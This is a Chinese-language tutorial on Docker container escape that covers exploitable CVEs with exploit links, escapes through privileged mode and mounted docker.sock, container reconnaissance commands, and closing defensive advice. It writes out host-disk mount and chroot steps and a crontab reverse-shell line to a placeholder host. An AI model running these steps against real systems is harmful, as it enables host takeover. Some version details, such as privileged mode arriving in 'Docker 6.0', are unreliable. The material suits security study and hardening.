1 背景
容器逃逸常发生在后渗透阶段中,攻击者通过应用层面漏洞进入容器内,由于容器本身生命周期并不稳定,逃逸到宿主机是必要操作。 本文将从实战角度记录容器逃逸各类操作。下面是网上找的一张docker的架构图。近些年,Docker逃逸所利用的漏洞大部分都发生在shim和runc上,每一次出现相关漏洞都能引起相当大的关注。
2 Docker逃逸原理
因为Docker所使用的是隔离技术,就导致了容器内的进程无法看到外面的进程,但外面的进程可以看到里面,所以如果一个容器可以访问到外面的资源,甚至是获得了宿主主机的权限,这就叫做“Docker逃逸”。
目前产生Docker逃逸的原因总共有三种:
- 由内核漏洞引起。
- 由Docker软件设计引起。
- 由特权模式与配置不当引起。
接下来依次对这三种逃逸方法做简单说明。
2.1 由于内核漏洞引起的逃逸
因为Docker是直接共享的宿主主机内核,所以当宿主主机的内核存在安全漏洞时会一并影响Docker的安全,导致可能会造成Docker逃逸。
操作系统内核漏洞主要就是利用大脏牛(CVE-2016-5195),依赖于内存页的写时复制机制来逃逸到宿主机,exp链接:https://github.com/scumjr/dirtycow-vdso,不过不是每个linux发行版都通用.
2.2 由于Doker软件设计引起的逃逸/应用程序漏洞
目前通过应用程序漏洞逃逸的漏洞主要有两个:
CVE-2019-5736(runc)
CVE-2020-15257(containerd)
2.2.1 CVE-2019-5736
其中CVE-2019-5736是runc相关漏洞,该漏洞允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。 该漏洞有利用条件,即容器exp执行后,需要受害者在宿主机上通过docker exec命令进入该容器。exp链接:https://github.com/Frichetten/CVE-2019-5736-PoC。漏洞复现查看:
2.2.2 CVE-2020-15257
containerd 是一个控制 runC 的守护进程,提供命令行客户端和API。当在docker使用–net=host参数启动且与宿主机共享net namespace时,docker容器会暴露containerd-shim 监听的 Unix 域套接字,攻击者可以绕过访问权限访问 containerd 的控制API 直接操作containerd-shim ,来控制容器,从而实现Docker容器逃逸。exp: https://github.com/cdk-team/CDK/releases
2.3 由于特权模式+目录挂载引起的逃逸
这一种逃逸方法较其他两种来说用的更多。特权模式在6.0版本的时候被引入Docker,其核心作用是允许容器内的root拥有外部物理机的root权限,而此前在容器内的root用户只有外部物理机普通用户的权限。
2.3.1 磁盘挂载
(1)使用特权模式启动容器后(docker run –privileged):Docker容器被允许可以访问主机上的所有设备、可以获取大量设备文件的访问权限、可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务contrab等方式在宿主机执行命令。(反弹shell)
(2)使用功能机制也会造成Docker逃逸。Linux内核自版本2.2引入了功能机制(Capabilities),打破了UNIX/LINUX操作系统中超级用户与普通用户的概念,允许普通用户执行超级用户权限方能运行的命令。例如当容器以–cap-add=SYSADMIN启动,Container进程就被允许执行mount、umount等一系列系统管理命令,如果攻击者此时再将外部设备目录挂载在容器中就会发生Docker逃逸。
2.3.2 容器挂载不当
使用者将宿主机/var/run/docker.sock文件挂载到容器中,目的是能在容器中也能操作docker。
3 docker 逃逸实例
3.1 特权模式
特权模式逃逸是一种最简单有效的逃逸方法,攻击者可以通过挂载宿主机目录到容器某个目录下,直接通过命令、写ssh公钥和crontab等getshell。
(1)创建容器时通过添加–privileged=true参数,将容器以特权模式起
docker run -itd --name privilegeTest –-privileged=true mongo:3.6-streth
在k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器
securityContext: privileged: true
(2) 特权模式起的容器,实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起(000000xfffffffff代表为特权模式起)
(3)fdisk -l命令查看宿主机设备为/dev/vda1,通过mount命令将宿主机根目录挂载进容器目录的test中.
fdisk -l
mount /dev/sda1 /home/test
(4)使用chroot改变根目录,接下来可以直接执行命令或写crontab
(5)在计划任务里写入一个反弹shell:
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/7777 0>&1'>> /home/test
(6)在Docker上开启netcat监听7777端口,成功接收到宿主主机的Shell,实现Docker逃逸。
3.2 容器挂载不当
容器挂载不当导致的逃逸根本原因在于业务需求或使用者图方便把危险目录直接挂载到容器中。 当然,根据使用者挂的目录不同,利用方式肯定也都不同。举一个比较常见的例子:使用者将宿主机/var/run/docker.sock文件挂载到容器中,目的是能在容器中也能操作docker。
(1)创建挂载/var/run/docker.sock文件的容器
docker run -itd --name mongo_sock -v /var/run/docker.sock:/var/run/docker.sock mongo:3.6-stretch
(2)实战中通过find命令,在容器内可查找类似docker.sock等高危目录和文件
find / -name docker.sock
(3)cat /etc/os-release查看当前linux发型版本,准备安装docker客户端,方便操作docker
(4)访问https://download.docker.com/linux/debian/dists/,根据选择具体分支,如stretch就去https://download.docker.com/linux/debian/dists/stretch/pool/stable/amd64/下载.deb结尾的安装文件 使用这种方式安装的好处是容器内一般都缺少很多基础组件,如果通过apt-get安装实测20分钟也装不完 .
(5)随便找个镜像挂载宿主机根目录到容器的/host目录下,之后就可以进行任意操作了
docker run -it -v /:/host rabbitmq:3-management-alpine bash
4 容器渗透常用命令
查看当前环境是否为容器 cat /proc/1/cgroup看回显结果中是否有docker(这个方法一般要比ls /.dockerenv要准确,实测有些容器根目录下确实没有.dockerenv)
查看容器操作系统详细信息 cat /etc/os-release
查看宿主机内核信息 uname -a
查看容器内进程的capability grep CapEff /proc/self/status 在其他机器上执行capsh –decode=value查看具体权限,value为前一个命令输出结果
查看环境变量 env(环境变量中可能存在敏感信息,如password)
危险挂载文件查找,如docker.sock find / -name docker.sock
5 Docker逃逸防御
- 更新Docker版本到03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736。
- runc版本 >1.0-rc6
- k8s 集群版本>1.12
- Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
- Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险。
- 不建议以root权限运行Docker服务。
- 不建议以privileged(特权模式)启动Docker。
- 不建议将宿主机目录挂载至容器目录。
- 不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险。
参考
- docker逃逸过程详情 一个完整的逃逸利用方法 超级棒
- 容器逃逸常用方法 很详细
- 五种方式教你用特权容器逃逸 挂载目录的具体案例
- Docker逃逸原理 还行
- 配置不当导致的容器逃逸
- 利用 Linux 内核漏洞实现 Docker 逃逸
- Docker容器安全性分析 SDLC可以加进去
- 云原生之Kubernetes安全 以后看